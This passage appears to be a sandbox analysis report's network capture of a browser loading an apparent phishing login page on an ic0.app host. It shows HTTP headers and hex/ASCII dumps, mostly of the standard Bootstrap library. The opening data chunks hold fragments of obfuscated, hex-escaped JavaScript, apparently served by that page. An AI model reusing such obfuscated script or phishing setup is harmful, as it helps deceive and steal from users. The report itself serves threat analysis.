49 77 58 48 67 79 4d 46 78 34 4e 6a 4e 63 65 44 5a 6d 58 48 67 32 5a 56 78 34 4e 7a 4e 63 65 44 63 30 58 48 67 79 4d 
46 78 34 4e 6d 4e 63 65 44 59 31 58 48 67 79 4d 46 78 34 4d 32 52 63 65 44 49 77 58 48 67 32 4e 46 78 34 4e 6d 5a 63 
65 44 59 7a 58 48 67 33 4e 56 78 34 4e 6d 52 63 65 44 59 31 58 48 67 32 5a 56 78 34 4e 7a 52 63 65 44 4a 6c 58 48 67 
32 4d 31 78 34 4e 7a 4a 63 65 44 59 31 58 48 67 32 4d 56 78 34 4e 7a 52 63 65 44 59 31 58 48 67 30 4e 56 78 34 4e 7a 
5a 63 65 44 59 31 58 48 67 32 5a 56 78 34 4e 7a 52 63 65 44 49 34 58 48 67 79 4d 6c 78 34 4e 44 68 63 65 44 55 30 58 
48 67 30 5a 46 78 34 4e 47 4e 63 65 44 51 31 58 48 67 33 4e 6c 78 34 4e 6a 
Data Ascii: ceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4NjNceDZmXHg2ZVx4NzNceDc0XHgyMFx4N
mNceDY1XHgyMFx4M2RceDIwXHg2NFx4NmZceDYzXHg3NVx4NmRceDY1XHg2ZVx4NzRceDJlXHg2M1x4N
zJceDY1XHg2MVx4NzRceDY1XHg0NVx4NzZceDY1XHg2ZVx4NzRceDI4XHgyMlx4NDhceDU0XHg0ZFx4N
GNceDQ1XHg3Nlx4Nj

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 17:36:52 UTC 421 IN Data Raw: 34 4e 6d 5a 63 65 44 59 30 58 48 67 32 4e 53 63 73 4a 31 78 34 4e 7a 5a 63 65 44 59 78 58 48 67 33 4d 6c 
78 34 4d 6a 41 6e 4c 43 64 63 65 44 63 7a 58 48 67 32 4e 56 78 34 4e 6a 46 63 65 44 63 79 58 48 67 32 4d 31 78 34 4e 
6a 67 6e 4c 43 64 63 65 44 59 78 58 48 67 33 4d 46 78 34 4e 7a 42 63 65 44 5a 6a 58 48 67 33 4f 53 63 73 4a 31 78 34 
4d 7a 46 63 65 44 4d 34 58 48 67 32 5a 6c 78 34 4e 54 68 63 65 44 52 68 58 48 67 32 59 31 78 34 4e 6d 4a 63 65 44 55 
77 4a 79 77 6e 58 48 67 30 5a 56 78 34 4e 47 5a 63 65 44 52 6c 58 48 67 30 4e 53 63 73 4a 31 78 34 4e 6a 4e 63 65 44 
63 79 58 48 67 32 4e 56 78 34 4e 6a 46 63 65 44 63 30 58 48 67 32 4e 56 78 34 4e 44 56 63 65 44 5a 6a 58 48 67 32 4e 
56 78 34 4e 6d 52 63 65 44 59 31 58 48 67 32 5a 56 78 34 4e 7a 51 6e 4c 43 
Data Ascii: 4NmZceDY0XHg2NScsJ1x4NzZceDYxXHg3Mlx4MjAnLCdceDczXHg2NVx4NjFceDcyXHg2M1x4NjgnL
CdceDYxXHg3MFx4NzBceDZjXHg3OScsJ1x4MzFceDM4XHg2Zlx4NThceDRhXHg2Y1x4NmJceDUwJywnX
Hg0ZVx4NGZceDRlXHg0NScsJ1x4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx
4NzQnLC

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.2.3 49758 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:50 UTC 227 OUT GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1
Host: maxcdn.bootstrapcdn.com
Connection: keep-alive
Origin: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhw
h=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbKCjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:50 UTC 249 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 17:36:50 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: DE
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=31919000
ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17"
Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT
CDN-CachedAt: 03/10/2022 17:24:53
CDN-ProxyVer: 1.02
CDN-RequestPullCode: 200
CDN-RequestPullSuccess: True
CDN-EdgeStorageId: 860
CDN-Status: 200
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
X-Content-Type-Options: nosniff
CDN-RequestId: dbf17280fc9209bedeae4daebdfd048d
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 103193
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 7240e7fb5c6b6987-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-07-01 17:36:50 UTC 250 IN Data Raw: 31 31 38 35 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 
73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 
2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 
68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 
73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 
75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 
29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 
Data Ascii: 1185/*!  * Bootstrap v4.0.0 (https://getbootstrap.com)  * Copyright 2011-2018 The Bootstrap Authors (https:/
/github.com/twbs/bootstrap/graphs/contributors)  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LIC
ENSE)  */!function(t
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2022-07-01 17:36:50 UTC 250 IN Data Raw: 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 2c 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 
79 22 29 2c 72 65 71 75 69 72 65 28 22 70 6f 70 70 65 72 2e 6a 73 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 
79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 
74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 
61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 2
8 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 
28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 
Data Ascii: peof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define([
"exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var 
n=0;n<e.length;n+

2022-07-01 17:36:50 UTC 252 IN Data Raw: 2e 6c 65 6e 67 74 68 3e 30 3f 69 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 
6c 7d 7d 2c 72 65 66 6c 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6f 66 66 73 65 74 48 
65 69 67 68 74 7d 2c 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 
7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6
e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 
6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 
70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 
Data Ascii: .length>0?i:null}catch(t){return null}},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(n){t(n
).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]||t).nodeType},ty
peCheckConfig:fun

2022-07-01 17:36:50 UTC 253 IN Data Raw: 65 6e 74 28 74 29 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 65 26 26 28 6e 3d 6f 28 65 29 5b 30 5d 29 2c 6e 7c 
7c 28 6e 3d 6f 28 74 29 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 66 29 5b 30 5d 29 2c 6e 7d 2c 65 2e 5f 74 72 69 67 67 65 
72 43 6c 6f 73 65 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 
43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 
76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 
65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 
26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 
Data Ascii: ent(t),n=!1;return e&&(n=o(e)[0]),n||(n=o(t).closest("."+f)[0]),n},e._triggerCloseEvent=function(t){var e=o.
Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitio
nEnd()&&o(t).hasClass(d)?o(

2022-07-01 17:36:50 UTC 254 IN Data Raw: 69 66 28 69 29 7b 69 66 28 22 72 61 64 69 6f 22 3d 3d 3d 69 2e 74 79 70 65 29 69 66 28 69 2e 63 68 65 63 
6b 65 64 26 26 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 29 74 3d 21 31 3b 
65 6c 73 65 7b 76 61 72 20 73 0d 0a 
Data Ascii: if(i){if("radio"===i.type)if(i.checked&&p(this._element).hasClass(C))t=!1;else{var s

2022-07-01 17:36:50 UTC 254 IN Data Raw: 37 66 66 61 0d 0a 3d 70 28 6e 29 2e 66 69 6e 64 28 77 29 5b 30 5d 3b 73 26 26 70 28 73 29 2e 72 65 6d 6f 
76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 
61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 
63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 
4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 
6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 
74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 
Data Ascii: 7ffa=p(n).find(w)[0];s&&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")||n.hasAttribute("disabled")|
|i.classList.contains("disabled")||n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).
trigger("change")}i.focus

2022-07-01 17:36:50 UTC 256 IN Data Raw: 3a 22 6b 65 79 64 6f 77 6e 22 2b 69 2c 4d 4f 55 53 45 45 4e 54 45 52 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 
2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 
6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 
2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 
70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 
6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6
d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 
Data Ascii: :"keydown"+i,MOUSEENTER:"mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,L
OAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="c
arousel-item-right",v="carousel-item-left",E="carousel-it

2022-07-01 17:36:50 UTC 257 IN Data Raw: 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 
74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 
73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 
6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 
65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6
f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 
3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 
Data Ascii: earInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=set
Interval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var 
n=this;this._activeElem

2022-07-01 17:36:50 UTC 258 IN Data Raw: 43 2e 5f 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 
78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 
74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 
73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 
28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 
6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 
65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 
Data Ascii: C._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault
(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray
(t(e).parent().find(y.ITEM)
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2022-07-01 17:36:50 UTC 260 IN Data Raw: 6f 72 45 6c 65 6d 65 6e 74 28 63 29 3b 76 61 72 20 49 3d 74 2e 45 76 65 6e 74 28 64 2e 53 4c 49 44 2c 7b 
72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 
29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 
65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 
72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 
73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 
29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 
Data Ascii: orElement(c);var I=t.Event(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(th
is._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION
_END,function(){t(c).removeClass(i+" 

2022-07-01 17:36:50 UTC 261 IN Data Raw: 6c 65 72 29 2c 74 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 64 2e 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 
6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 
7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 
65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 
61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 
6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 
72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 
Data Ascii: ler),t(window).on(d.LOAD_DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQuer
yInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C.
_jQueryInterface},C}(e),H=f

2022-07-01 17:36:50 UTC 262 IN Data Raw: 67 26 26 21 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 63 29 26 26 28 74 
68 69 73 2e 5f 70 61 72 65 6e 74 26 26 30 3d 3d 3d 28 65 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 74 68 69 73 2e 
5f 70 61 72 65 6e 74 29 2e 66 69 6e 64 28 70 2e 41 43 54 49 56 45 53 29 2e 66 69 6c 74 65 72 28 27 5b 64 61 74 61 2d 
70 61 72 65 6e 74 3d 22 27 2b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 72 65 6e 74 2b 27 22 5d 27 29 29 29 2e 6c 6
5 6e 67 74 68 26 26 28 65 3d 6e 75 6c 6c 29 2c 21 28 65 26 26 28 73 3d 74 28 65 29 2e 6e 6f 74 28 74 68 69 73 2e 5f 73 
65 6c 65 63 74 6f 72 29 2e 64 61 74 61 28 6e 29 29 26 26 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 29 29 29 
7b 76 61 72 20 6f 3d 74 2e 45 76 65 6e 74 28 68 2e 53 48 4f 57 29 
Data Ascii: g&&!t(this._element).hasClass(c)&&(this._parent&&0===(e=t.makeArray(t(this._parent).find(p.ACTIVES).filter('
[data-parent="'+this._config.parent+'"]'))).length&&(e=null),!(e&&(s=t(e).not(this._selector).data(n))&&s._isTransitioning)))
{var o=t.Event(h.SHOW)

2022-07-01 17:36:50 UTC 264 IN Data Raw: 68 3b 73 2b 2b 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 5b 73 5d 2c 6f 
3d 50 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 72 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 6f 
29 74 28 6f 29 2e 68 61 73 43 6c 61 73 73 28 63 29 7c 7c 74 28 72 29 2e 61 64 64 43 6c 61 73 73 28 64 29 2e 61 74 74 
72 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 21 31 29 7d 74 68 69 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 
6e 69 6e 67 28 21 30 29 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 73 65 74 54 72 61 6e 73 69 74 69 
6f 6e 69 6e 67 28 21 31 29 2c 74 28 65 2e 5f 65 6c 65 6d 65 6e 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 66 29 2e 61 
64 64 43 6c 61 73 73 28 75 29 2e 74 72 69 67 67 65 72 28 68 2e 48 
Data Ascii: h;s++){var r=this._triggerArray[s],o=P.getSelectorFromElement(r);if(null!==o)t(o).hasClass(c)||t(r).addClass
(d).attr("aria-expanded",!1)}this.setTransitioning(!0);var a=function(){e.setTransitioning(!1),t(e._element).removeClass
(f).addClass(u).trigger(h.H

2022-07-01 17:36:50 UTC 265 IN Data Raw: 6c 7d 2c 69 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 
74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 3d 74 28 74 68 69 73 29 
2c 6f 3d 73 2e 64 61 74 61 28 6e 29 2c 6c 3d 72 28 7b 7d 2c 61 2c 73 2e 64 61 74 61 28 29 2c 22 6f 62 6a 65 63 74 22 3d 
3d 74 79 70 65 6f 66 20 65 26 26 65 29 3b 69 66 28 21 6f 26 26 6c 2e 74 6f 67 67 6c 65 26 26 2f 73 68 6f 77 7c 68 69 64 
65 2f 2e 74 65 73 74 28 65 29 26 26 28 6c 2e 74 6f 67 67 6c 65 3d 21 31 29 2c 6f 7c 7c 28 6f 3d 6e 65 77 20 69 28 74 68 
69 73 2c 6c 29 2c 73 2e 64 61 74 61 28 6e 2c 6f 29 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 
69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 
Data Ascii: l},i._jQueryInterface=function(e){return this.each(function(){var s=t(this),o=s.data(n),l=r({},a,s.data(),"o
bject"==typeof e&&e);if(!o&&l.toggle&&/show|hide/.test(e)&&(l.toggle=!1),o||(o=new i(this,l),s.data(n,o)),"string"==typeof e)
{if("undefined"==typeo

2022-07-01 17:36:50 UTC 266 IN Data Raw: 6f 6d 2d 73 74 61 72 74 22 2c 53 3d 22 62 6f 74 74 6f 6d 2d 65 6e 64 22 2c 77 3d 22 72 69 67 68 74 2d 73 74 
61 72 74 22 2c 4e 3d 22 6c 65 66 74 2d 73 74 61 72 74 22 2c 4f 3d 7b 6f 66 66 73 65 74 3a 30 2c 66 6c 69 70 3a 21 30 2c 
62 6f 75 6e 64 61 72 79 3a 22 73 63 72 6f 6c 6c 50 61 72 65 6e 74 22 7d 2c 6b 3d 7b 6f 66 66 73 65 74 3a 22 28 6e 75 6d 
62 65 72 7c 73 74 72 69 6e 67 7c 66 75 6e 63 74 69 6f 6e 29 22 2c 66 6c 69 70 3a 22 62 6f 6f 6c 65 61 6e 22 2c 62 6f 75 
6e 64 61 72 79 3a 22 28 73 74 72 69 6e 67 7c 65 6c 65 6d 65 6e 74 29 22 7d 2c 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 
66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 65 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 5f 70 6f 
70 70 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 63 6f 6e 66 
Data Ascii: om-start",S="bottom-end",w="right-start",N="left-start",O={offset:0,flip:!0,boundary:"scrollParent"},k={offset:"
(number|string|function)",flip:"boolean",boundary:"(string|element)"},L=function(){function a(t,e){this._element=t,t
his._popper=null,this._conf

2022-07-01 17:36:50 UTC 268 IN Data Raw: 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 6d 65 6e 75 3d 6e 75 6c 6c 2c 6e 75 6c 6c 21 3d 3d 74 68 
69 73 2e 5f 70 6f 70 70 65 72 26 26 28 74 68 69 73 2e 5f 70 6f 70 70 65 72 2e 64 65 73 74 72 6f 79 28 29 2c 74 68 69 73 
2e 5f 70 6f 70 70 65 72 3d 6e 75 6c 6c 29 7d 2c 6c 2e 75 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 
2e 5f 69 6e 4e 61 76 62 61 72 3d 74 68 69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 6e 75 6c 6c 21 3d 3d 
74 68 69 73 2e 5f 70 6f 70 70 65 72 26 26 74 68 69 73 2e 5f 70 6f 70 70 65 72 2e 73 63 68 65 64 75 6c 65 55 70 64 61 74 
65 28 29 7d 2c 6c 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 
72 20 65 3d 74 68 69 73 3b 74 28 74 68 69 73 2e 5f 65 6c 65 6d 
Data Ascii: ement=null,this._menu=null,null!==this._popper&&(this._popper.destroy(),this._popper=null)},l.update=functio
n(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},l._addEventListene
rs=function(){var e=this;t(this._elem

2022-07-01 17:36:50 UTC 269 IN Data Raw: 6c 29 2c 74 28 74 68 69 73 29 2e 64 61 74 61 28 69 2c 6e 29 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 
65 6f 66 20 65 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 65 5d 29 74 68 72 6f 
77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 65 2b 27 2
2 27 29 3b 6e 5b 65 5d 28 29 7d 7d 29 7d 2c 61 2e 5f 63 6c 65 61 72 4d 65 6e 75 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 
